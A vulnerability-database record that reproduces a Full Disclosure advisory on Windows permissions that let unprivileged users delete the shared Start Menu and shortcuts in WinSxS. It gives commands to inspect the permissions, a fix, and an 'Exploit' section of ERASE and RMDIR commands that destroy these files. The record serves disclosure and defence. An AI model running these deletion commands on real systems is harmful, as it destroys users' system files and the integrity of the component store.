GCVE-1988-2026-0210

Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
Title
Defense in depth -- the Microsoft way (part 95): the (shared) "Start Menu" is dispensable
Summary
Hi @ll, the following is a condensed form of <https://skanthak.hier-im-netz.de/whispers.html#whisper3> and <https://skanthak.hier-im-netz.de/whispers.html#whisper4>. Windows Vista moved the shared start menu from "%ALLUSERSPROFILE%\Start Menu\" to "%ProgramData%\Microsoft\Windows\Start Menu\", with some shortcuts (*.lnk) "reflected" from the (immutable) component store below %SystemRoot%\WinSxS\ JFTR: "reflection" is M$FT lingo for hardlink into the component store. Before this move only Administrators had write access to the shared start menu; afterwards at least the user account(s) created during Windows setup (OOBE, out of box experience) are granted DELETE and DELETE_CHILD access permission. Demonstration ~~~~~~~~~~~~~ Log on to an arbitrary (unprivileged) user account, start the command processor and run the following command line to display the access permissions of the shared start menu: ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" | C:\ProgramData\Microsoft\Windows\Start Menu COMPUTER\User:(OI)(CI)(IO)(DE,DC) | S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC) | COMPUTER\Administrator:(OI)(CI)(IO)(DE,DC) | NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) | BUILTIN\Administrators:(I)(OI)(CI)(F) | BUILTIN\Users:(I)(OI)(CI)(RX) | Everyone:(I)(OI)(CI)(RX) Instead of "COMPUTER" you get your computer name (see the environment variables %COMPUTERNAME% and %USERDOMAIN%); instead of "User" and "Administrator" you get the first/primary and the localized administrator account name. "(OI)(CI)(IO)(DE,DC)" means "inherit DELETE and DELETE CHILD access permission to all objects/files and containers/directories below this directory". Run the following command line to confirm the latter: ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)" "Thanks" to the braindead "reflection" of shortcuts (generally: files) from the component store their access permissions are changed too: ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)" Exploit ~~~~~~~ "Thanks" to the DELETE_CHILD access permission some unprivileged users can since NINETEEN years remove the shared start menu COMPLETELY! ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini" ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk" RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu" "Thanks" to the braindead "reflection" of shortcuts (generally: files) from the component store the same unprivileged users can also erase them there and destroy the integrity of the component store: ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk" Fix ~~~ Remove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE): ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%" "%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%" "%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T stay tuned, and far away from unprotected system( file)s Stefan Kanthak _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version CPE status
unknown Defense in depth Affected: unknown
guessed Create a notification for this product.

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          "product": "Defense in depth",
          "vendor": "unknown",
          "versions": [
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              "version": "unknown"
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      "credits": [
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          "type": "finder",
          "value": "Stefan Kanthak via Fulldisclosure"
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      "descriptions": [
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          "value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n|                                             S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n|                                             COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n|                                             NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Administrators:(I)(OI)(CI)(F)\n|                                             BUILTIN\\Users:(I)(OI)(CI)(RX)\n|                                             Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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          "recordType": "advisory",
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          "vulnId": "GCVE-1988-2026-0210",
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            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/18",
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            "sourcePublishedAt": "2026-01-08T11:40:10Z"
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  "cveMetadata": {
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    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0210"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}



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